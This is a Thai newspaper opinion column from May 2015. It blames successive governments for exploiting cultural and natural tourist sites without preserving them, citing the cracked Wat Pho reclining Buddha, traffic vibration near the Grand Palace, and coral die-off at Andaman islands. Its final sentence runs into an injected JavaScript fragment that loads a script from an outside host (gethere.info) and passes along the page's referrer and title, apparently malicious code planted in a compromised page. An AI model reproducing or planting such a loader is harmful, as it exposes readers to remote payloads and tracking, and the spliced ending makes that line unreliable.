มติชนรายวัน ฉบับประจำวันอังคารที่ 5 พฤษภาคม 2558

 

วัดโพธิ์, วังหลวง, และทะเล

          “ศิลปวัฒนธรรมชาติ” (ศิลปวัฒนธรรม+ธรรมชาติ) ทรัพยากรท่องเที่ยวไทยอันมีคุณค่าและมูลค่ามหาศาล ถูกกระทำชำเราเพื่อสร้างรายได้โดยไม่ถนอมรักษา

          มีรอยร้าวที่ฝ่าพระบาทพระพุทธไสยาสน์ (พระนอน) วัดพระเชตุพนฯ (วัดโพธิ์) ท่าเตียน กทม. จนต้องบูรณะเร่งด่วน

          ผู้ชำนาญการก่อสร้างโบราณ บอกว่าสาเหตุหนึ่งน่าจะมาจากน้ำหนักมีมากของพระบาทด้านบนซ้อนทับด้านล่าง

          ขณะที่ตัวอาคารและองค์พระสร้างมานานมากราว 200 ปีแล้ว โดยใช้รากฐานเป็นท่อนซุงวางทับซ้อนกัน ส่วนใต้ดินลึกลงไปเป็นโคลนตมถมทับ เมื่อมีน้ำขึ้นน้ำลงตามธรรมชาติย่อมทำให้ดินอ่อนตัวได้

          ถนนห่างจากองค์พระนอนไม่ถึง 10 เมตร ผู้บริหารกรมศิลปากรบอกอีกว่ามีรถวิ่งทุกวัน เป็นเวลานานหลายสิบปี ย่อมมีผลกระทบให้พระนอนร้าวได้ (ไทยรัฐ ฉบับวันพุธที่ 22 เมษายน 2558 หน้า 15)

 

แสวงรายได้ ไม่ถนอมรักษา

          เรื่องเหล่านี้เป็นที่รู้ในหมู่ช่างทั้งยุคเก่าและยุคใหม่ เคยทักท้วงกันไม่น้อยกว่า 30 ปีมาแล้ว

          เมื่อปริมาณรถแล่นเข้าเกาะรัตนโกสินทร์เริ่มหนาแน่นขึ้น ความสั่นสะเทือนมากขึ้น ควันรถก็มีส่วนส่งผลกระทบโบราณสถานต่างๆด้วย ทั้งวัดโพธิ์และพระบรมมหาราชวัง

          นักวิชาการด้านที่เกี่ยวข้องล้วนเป็นห่วง แล้วเรียกร้องให้หามาตรการป้องกันและถนอมรักษา

          แต่รัฐบาลทุกยุคทุกสมัยทำเป็นหนวกบอดใบ้ เพราะต้องการรายได้มหาศาลจากการขายทรัพยากรท่องเที่ยวแบบนี้และแบบอื่นๆ

          แนวทางแก้ไข คือ จำกัดจำนวนรถยนต์ หรือทำเป็นเขตปลอดรถยนต์ แล้วบริการด้วยรถขนส่งสาธารณะที่ไม่สร้างมลพิษ และไม่สร้างความสั่นสะเทือน

          โบราณสถานสำคัญในจังหวัดต่างๆ เช่น อยุธยา, สุโขทัย, ลพบุรี, ฯลฯ ต้องห้ามปีนป่าย แล้วบางแห่งต้องห้ามรถแล่นผ่านบริเวณนั้น

          ปัญหาอยู่ที่รัฐบาลทั้งมาจากรัฐประหารและเลือกตั้ง ต่างต้องการรายได้จากการท่องเที่ยวมากกว่าป้องกันความล่มสลายของแหล่งท่องเที่ยว

          ลู่ทางเอาตัวรอดของทุนไทยคือขายทรัพยากร รัฐบาลไทยทุกประเภทย่อมต้องการขายทรัพยากรท่องเที่ยวเพื่อความอยู่รอดด้วย

          ดังนั้นโอกาสที่ธรรมชาติเอาคืนจนพังเพระเนระนาดย่อมมีมาก ดังมีกรณีตัวอย่าง พระธาตุพนมล้มเมื่อ พ.ศ. 2518 เพราะเสริมยอดเพื่อหวังผลทางการเมือง ไทย-ลาว จนน้ำหนักมากไป

          แต่ทางการไม่สนใจป้องกันถนอมรักษา เมื่อฝนตกหนักเท่ากับเพิ่มน้ำหนักให้ล้มสมใจนึก

 

ทะเลไทยถูกรุมโทรม

          แหล่งท่องเที่ยวธรรมชาติก็เสื่อมโทรมหนัก โดยเฉพาะทางทะเล เพราะถูกรุมโทรมจากอุตสาหกรรมท่องเที่ยว จนต้องหามาตรการจำกัดจำนวนนักท่องเที่ยว

          แนวปะการังในเขตอุทยานแห่งชาติทางทะเลฝั่งอันดามัน เกิดปัญหาเสื่อมโทรมอย่างมาก โดยเฉพาะเกาะตาชัย จ. พังงา ที่พบมีปะการังตายสูงถึงร้อยละ 70 โดยปะการังบางแหล่งท่องเที่ยวยังไม่ฟื้นตัว แต่กลับมีการใช้ประโยชน์ด้านการท่องเที่ยวอยู่จำนวนมาก เช่น หมู่เกาะพีพี อยู่ในระดับวิกฤต ไม่สามารถควบคุมจำนวนนักท่องเที่ยวได้ และพบเรือท่องเที่ยวจอดเทียบท่ากว่า 1,000 ลำต่อวัน เกาะภูเก็ตมีจำนวนนักท่องเที่ยวมากเกินขีดจำกัด และพบเรือท่องเที่ยวจอดเทียบท่ากว่า 500 ลำต่อวัน (มติชน ฉบับวันเสาร์ที่ 28 มีนาคม 2558 หน้า 7)

          นี่ไง — ศิลปวัฒนธรรมชาติของความเป็นไทยs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;